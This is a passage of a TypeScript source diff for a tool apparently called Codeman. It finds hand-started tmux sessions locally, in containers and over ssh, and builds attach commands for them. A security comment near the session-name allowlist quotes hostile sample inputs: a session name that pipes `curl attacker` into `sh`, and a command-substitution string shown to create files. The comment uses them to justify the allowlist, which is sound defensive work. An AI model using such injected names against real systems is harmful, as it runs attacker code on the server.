notes: parts.flatMap((p) => p.notes),
};
}
/** Re-read the caller-visible docker cases, for routes that only hold a username. */
export async function readAllDockerCases(): Promise<DockerCase[]> {
return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
}
/** Re-read the saved remote hosts. */
export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
}
+902
View File
@@ -0,0 +1,902 @@
/**
* @fileoverview Pure core for FOREIGN tmux sessions, the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* The one thing the script does decide is whether a server is safe to ask, because
* only the script can. A tmux server that stopped answering holds its client
* forever, and from outside a container or across ssh no signal reaches that
* client: a timeout kills `docker exec` or `ssh`, never what they started. So each
* server gets a bounded ping first, and one that misses it costs its own rows and
* a `CMFH` line, not the whole scan.
*
* ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
* client hands dups of its stdout to the server, so a stopped server keeps our
* stdout pipe open after the client is dead (measured: SIGTERM ended the client at
* once and no EOF came in the 2.5 s that were watched, while the server stayed
* stopped). Nothing reading that pipe can finish, and the same hold would keep
* `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
* server that just answered ever gets the real one.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts`: same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn,
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately: the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does: that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone): it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and this string carries no command substitution. It reaches `bash -c`
* verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
* the OUTER shell expanded it first. That is the same rule the docker launch chain
* states as "no command substitution", and the same trap that silently emptied
* `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { listClis } from './config/cli-registry/registry.js';
import { withRemoteTmuxPath } from './remote-hosts.js';
import {
FOREIGN_MAX_ARGV_CHARS,
FOREIGN_MAX_PANES,
FOREIGN_MAX_PROCS,
FOREIGN_SOCKET_TIMEOUT_SECONDS,
} from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionAdopt, SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7, the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
const HUNG_MARKER = 'CMFH';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFH<sep><socket path> (a server that did not answer)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command, which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters, so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
//
// `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
// to `_` (measured in a container: session `会话` listed as `____`), and a name
// read wrong is a name the guard then cannot find.
//
// The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
// spelling of `timeout`, which macOS does not ship. A stale socket answers at once
// with status 1 and is skipped, so the ping costs a live server one extra spawn and
// a dead one none. `has-session` cannot start a server on a stale socket.
// ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
// SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
// BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
// parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
// leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
// exists, so a socket that answers at once wins that race.
const watchdog =
`( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
`wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
const ping =
`tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
`tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
/** Sockets whose server missed the per-socket bound, so their rows are absent. */
hungSockets: string[];
}
/**
* Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal.
*
* ⚠️ Runs synchronously on the server's event loop over text a process in a pane, a
* container or an ssh host wrote, so nothing here may cost more than linear time in it:
* the row caps do not help when one row is the whole 2 MiB.
*/
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets = new Set<string>();
const hungSockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets: [], hungSockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>`: leading spaces are how `ps -o pid=` pads.
// ⚠️ `s`, so `.*$` cannot fail: without it a bare CR in an argv stopped the `.`, and
// `\s+` handed its spaces back one at a time, quadratic in a row this long.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/s.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, (m[3] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS));
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock) sockets.add(sock);
continue;
}
if (line.startsWith(`${HUNG_MARKER} `)) {
hungSockets.push(line.slice(HUNG_MARKER.length + 1));
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: (fields[8] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS),
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets: [...sockets], hungSockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures, derived from the registry rather than written here.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. The binary names come from each entry's
* `discovery.binaries`, the one place that already knows a mode name is NOT
* always a binary name (`antigravity` runs `agy`). The hand-written table this
* replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
* had already fallen behind: `omp` was missing, so a hand-started omp pane read
* as a plain shell.
*
* Resolved at CALL time, never into a module-level const: a CLI enabled (or a
* custom entry added) at runtime must be recognised without a restart.
*
* ⚠️ Longest name first. `pi` is two characters and its "command itself" form
* would otherwise be tried before `opencode`'s; length order is what keeps a
* short generic name from claiming a pane that belongs to a longer one.
*
* ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
* while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
* a pattern out of an unescaped foreign string is how a config value turns into
* a regex. Escaping means the worst a bad name can do is match nothing.
*
* ⚠️ Keep these free of unbounded tails, since each one runs over someone else's argv on
* the event loop. The node launcher shape needs one, so it lives in `launcherPrefixes()`
* and `launcherDir` only has to name the directory.
*/
export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp; launcherDir: RegExp }> {
const seen = new Set<string>();
const out: { mode: SessionMode; test: RegExp; launcherDir: RegExp }[] = [];
// `listClis()`, not `enabledClis()`: classification is a description of what is
// ALREADY running in someone else's pane, not a decision to launch anything.
// A disabled CLI still deserves its real name on the row.
const named: { mode: SessionMode; name: string }[] = [];
for (const entry of listClis()) {
// ⚠️ Stock entries only, and this is a `stock` check rather than an id check
// on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
// entry has no SessionMode to be. Letting one through would put a value the
// union does not contain on `SessionState.mode`. A custom CLI's pane falls to
// the `shell` answer below, which is the honest one: Codeman has no name for
// it, and an adopted wrapper runs `attach` either way.
if (!entry.stock) continue;
for (const binary of entry.discovery.binaries) {
// `shell` declares none, which is right: it is the FALLBACK answer, never a
// signature match.
if (!binary || seen.has(binary)) continue;
seen.add(binary);
named.push({ mode: entry.id as SessionMode, name: binary });
}
}
named.sort((a, b) => b.name.length - a.name.length);
for (const { mode, name } of named) {
const n = escapeRegExp(name);
out.push({
mode,
// the command itself · a `bin/` path
test: new RegExp(`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b`),
// a node launcher under the CLI's own dot-directory (`~/.claude/local/.../cli.js`)
launcherDir: new RegExp(`[/\\\\]\\.?${n}[/\\\\]`),
});
}
return out;
}
function escapeRegExp(value: string): string {
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>,
match: ForeignSignatureMatcher = createForeignSignatureMatcher()
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = match(own);
if (direct) return { mode: direct, command: truncate(own) };
// ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
// which is byte-identical to the answer for a real shell: without this line a
// deep or wide tree silently downgrades an agent pane to `shell` and there is
// nothing anywhere to tell the two apart.
const descendants = collectDescendants(pane.panePid, probe.byParent, {
onTruncated: (root, cap, reason) =>
console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
});
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = match(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = match(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
export type ForeignSignatureMatcher = (argv: string) => SessionMode | null;
/**
* One scan's answer to "which CLI is this argv?".
*
* ⚠️ Scoped to a scan, because this is the cost no row cap bounds. A pane's walk reads up
* to PROC_WALK_MAX_NODES rows and every pane of a hostile host can claim the same tree, so
* the walks repeat one set of rows FOREIGN_MAX_PANES times. Building the regexes once and
* asking about each distinct argv once ties the work to the bytes the probe really carried.
*/
export function createForeignSignatureMatcher(): ForeignSignatureMatcher {
const signatures = foreignCliSignatures();
const answers = new Map<string, SessionMode | null>();
return (argv) => {
let answer = answers.get(argv);
if (answer === undefined) {
answer = matchSignature(argv, signatures);
answers.set(argv, answer);
}
return answer;
};
}
function matchSignature(argv: string, signatures: ReturnType<typeof foreignCliSignatures>): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
const launchers = launcherPrefixes(argv);
for (const sig of signatures) {
if (sig.test.test(argv) || launchers.some((prefix) => sig.launcherDir.test(prefix))) return sig.mode;
}
return null;
}
/**
* What comes before the last `cli.js` of each word, which is where a CLI's own directory
* has to be for that word to be its node launcher.
*
* ⚠️ A scan rather than a `[^\s]*cli\.js` tail on the signature. That tail was retried from
* every `/pi/` in an argv, which is quadratic in someone else's text: 4.6 s of event loop
* for a 128 KiB argv. A bounded tail only shrinks the constant, and a scan pays it per row.
*/
function launcherPrefixes(argv: string): string[] {
const prefixes: string[] = [];
for (const word of argv.split(/\s+/)) {
const end = word.lastIndexOf('cli.js');
if (end > 0) prefixes.push(word.slice(0, end));
}
return prefixes;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion: never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths: `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability: what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and it would cross several
* shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
* `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
* `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
* gate stays as defense in depth for the rest. It was written against the double-quoted
* form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
* the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
* a backtick) and the outer shell parses that string with those still live inside its
* double quotes. The inner single quotes this module adds do not help: the outer shell
* substitutes first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain (Unicode letters, digits,
* marks, spaces, and the punctuation people actually use), because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/**
* Names `new-session -t` reads as target syntax instead of as a name.
*
* ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
* these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
* `%1` joined the session holding that window or pane, and input typed in the tab
* reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
* shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
* plain first-character rule would refuse them for nothing.
*/
const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
/**
* What names one foreign tmux session across every location Codeman can reach.
* A socket path and a session name are not enough on their own: a socket path is
* only meaningful INSIDE its location. Containers commonly run tmux as root
* (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
* containers is the same pair, and so is the same name on this machine and on an
* ssh host with the same uid.
*
* A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
* `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
*/
export interface ForeignTargetIdentity {
location: ForeignTmuxLocationKind;
/** Registry id of the docker or remote host. Absent for local. */
hostId?: string;
/** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
containerName?: string;
socketPath: string;
sessionName: string;
}
/**
* The ONE key that decides "is this foreign session already wrapped?". The adopt
* route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
* two keys are how a row ends up offering a tab that belongs to another location.
*
* Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
* opaque id encodes a discovery detail a restored wrapper does not carry, while
* everything here is on `SessionAdopt` too.
*/
export function foreignTargetKey(target: ForeignTargetIdentity): string {
// \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
'\u0000'
);
}
/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
return {
location: adopt.location,
hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
containerName: adopt.docker?.containerName,
socketPath: adopt.socketPath,
sessionName: adopt.targetSession,
};
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* command -v tmux || { echo no tmux; exit 127; } ;
* tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
* tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
* exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
*
* - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
* not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
* user as "your session is gone" while it is running.
* - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
* terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
* the join needs it, since the guard prints nothing and tmux compares a target
* name as bytes in any locale.
* - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
* on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
* joined `work-prod`, with nothing matching it created a fresh shell, and on a
* socket with no server it STARTED one. This line re-runs every time the wrapper
* pane is respawned, and boot recovery does that for every dead pane, so once the
* owner exits their session the next Codeman restart would leave a new shell on
* their machine, in their container or on their ssh host. `=` is what makes the
* check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
* noise out of the pane: the message we print says it better. The check only holds
* for a name `new-session -t` also reads as a name, which is what
* `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
* - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
* target gone tmux takes it as part of the name and creates a group literally
* called `=work`. It has to be a separate `has-session`.
* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size, see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse, the same convention the docker launch chain uses.
* - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
* used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
* `new-session` failure. The one that actually happens is a leftover view with
* the same name (the in-container leak described above): measured, `new-session`
* answers `duplicate session: codeman-view-…` and the fallback then handed the
* user a read-only client showing the owner's status bar, where everything typed
* is dropped while the API reports success. That is the worst shape a failure can
* take here. So: clear OUR OWN stale view first, then either group successfully
* or exit with a message.
* - The `kill-session` is safe by construction and cannot touch the human's work:
* the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
* killing a session in a group removes only that session (measured: the owner's
* `work` survived its grouped view being killed). `2>/dev/null` because "no such
* session" is the normal case, not an error.
* - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
* itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
* reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
* one would rewrite the owner's keys for every session on their server, and it would
* outlive our detach. Same reason `window-size` is left alone above. The owner's
* bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
* - ⚠️ While the view exists the window has two sessions holding it, so an owner's
* `kill-session` on their own session leaves the window alive under the view
* (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
* running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
* shell inside the pane ends it at once, view and all. Nothing here can tell the two
* apart without a hook on the owner's server, which is not ours to install.
* - Single line: nothing here needs a second one. A real newline would survive
* `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
// `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
// session; never for `new-session -t`, which would name the group `=name`.
const exact = fshq(`=${target.targetSession}`);
const v = fshq(target.viewSession);
const gone = fshq(
`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
);
const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
// Our own leftover view from a previous adoption of the same Codeman session.
const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
const group =
`exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined, e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
